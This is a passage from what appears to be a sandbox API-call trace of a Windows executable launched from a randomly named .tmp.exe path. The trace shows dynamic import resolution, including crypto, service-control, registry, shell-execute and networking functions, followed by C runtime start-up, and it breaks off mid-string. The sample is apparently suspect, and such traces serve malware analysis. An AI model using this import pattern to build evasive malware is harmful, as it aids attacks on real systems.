(hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0030.062] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0030.063] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0030.063] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0030.063] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0030.064] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0030.064] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0030.064] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0030.064] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0030.064] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0030.064] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0030.065] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0030.065] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0031.724] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0031.724] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0031.724] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0031.724] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0031.724] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0031.724] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0031.725] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0031.725] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0031.725] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0031.725] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0031.725] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0031.725] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0031.725] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0031.725] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0031.725] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0031.725] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0031.725] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0031.725] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0031.726] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0031.726] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74af0000 [0031.923] GetProcAddress (hModule=0x74af0000, lpProcName="GetAdaptersInfo") returned 0x74af9263 [0031.923] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0032.105] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0032.105] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0032.105] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0032.105] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a90000 [0032.256] GetProcAddress (hModule=0x74a90000, lpProcName="DnsQuery_W") returned 0x74aa572c [0032.256] GetProcAddress (hModule=0x74a90000, lpProcName="DnsFree") returned 0x74a9436b [0032.256] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0032.256] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0032.256] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749d0000 [0032.441] GetProcAddress (hModule=0x749d0000, lpProcName="atexit") returned 0x749ec544 [0032.442] atexit (param_1=0x2da076) returned 0 [0032.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d654 | out: lpSystemTimeAsFileTime=0x18d654*(dwLowDateTime=0xa2a78910, dwHighDateTime=0x1d53993)) [0032.442] GetCurrentThreadId () returned 0x9d4 [0032.442] GetCurrentProcessId () returned 0x9d0 [0032.442] QueryPerformanceCounter (in: lpPerformanceCount=0x18d64c | out: lpPerformanceCount=0x18d64c*=15270473690) returned 1 [0032.442] GetStartupInfoW (in: lpStartupInfo=0x18d5e4 | out: lpStartupInfo=0x18d5e4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0032.442] GetProcessHeap () returned 0x280000 [0032.442] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.442] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0032.442] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0032.442] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0032.442] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0032.443] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0032.444] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0032.445] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0032.445] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0032.445] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0032.445] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0032.445] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0032.445] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0032.445] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3bc) returned 0x32be78 [0032.445] GetCurrentThreadId () returned 0x9d4 [0032.445] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x18) returned 0x290910 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x800) returned 0x32c240 [0032.446] GetStartupInfoW (in: lpStartupInfo=0x18d5b4 | out: lpStartupInfo=0x18d5b4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x2d425f1a, hStdError=0x0)) [0032.446] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0032.446] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0032.446] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0032.446] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" " [0032.446] GetEnvironmentStringsW () returned 0x32ca48* [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xaca) returned 0x32d520 [0032.446] FreeEnvironmentStringsW (penv=0x32ca48) returned 1 [0032.446] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x6a [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0xde) returned 0x32ca48 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x98) returned 0x32cb30 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3e) returned 0x322188 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x6c) returned 0x32cbd0 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x6e) returned 0x32cc48 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x78) returned 0x31f510 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x62) returned 0x32ccc0 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2e) returned 0x327ac8 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x323688 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x28) returned 0x3274c0 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1a) returned 0x32bc30 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4a) returned 0x32cd30 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x72) returned 0x31f590 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x327b00 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2e) returned 0x327b38 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1c) returned 0x32bc58 [0032.446] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xd2) returned 0x32cd88 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x7c) returned 0x32ce68 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x36) returned 0x32cef0 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3a) returned 0x3221d0 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x90) returned 0x32cf30 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x3274f0 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x327b70 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x36) returned 0x32cfc8 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x3236d8 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x52) returned 0x32d008 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3c) returned 0x322218 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x82) returned 0x32d068 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2e) returned 0x327ba8 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1e) returned 0x32bc80 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2c) returned 0x327be0 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x54) returned 0x32d0f8 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x52) returned 0x32d158 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2a) returned 0x327c18 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3c) returned 0x322260 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x54) returned 0x32d1b8 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x327520 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x327c50 [0032.447] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8c) returned 0x32d218 [0032.447] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x32d520 | out: hHeap=0x280000) returned 1 [0032.448] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x32d2b0 [0032.448] GetLastError () returned 0x0 [0032.448] SetLastError (dwErrCode=0x0) [0032.448] GetLastError () returned 0x0 [0032.448] SetLastError (dwErrCode=0x0) [0032.448] GetLastError () returned 0x0 [0032.448] SetLastError (dwErrCode=0x0) [0032.448] GetACP () returned 0x4e4 [0032.448] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x220) returned 0x32d338 [0032.448] GetLastError () returned 0x0 [0032.448] SetLastError (dwErrCode=0x0) [0032.448] IsValidCodePage (CodePage=0x4e4) returned 1 [0032.448] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d5a8 | out: lpCPInfo=0x18d5a8) returned 1 [0032.448] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d070 | out: lpCPInfo=0x18d070) returned 1 [0032.448] GetLastError () returned 0x0 [0032.448] SetLastError (dwErrCode=0x0) [0032.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0032.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cde8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0032.448] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18d084 | out: lpCharType=0x18d084) returned 1 [0032.448] GetLastError () returned 0x0 [0032.448] SetLastError (dwErrCode=0x0) [0032.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0032.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d484, cbMultiByte=256, lpWideCharStr=0x18cdb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0032.448] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0032.449] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18cba8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0032.449] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d384, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x1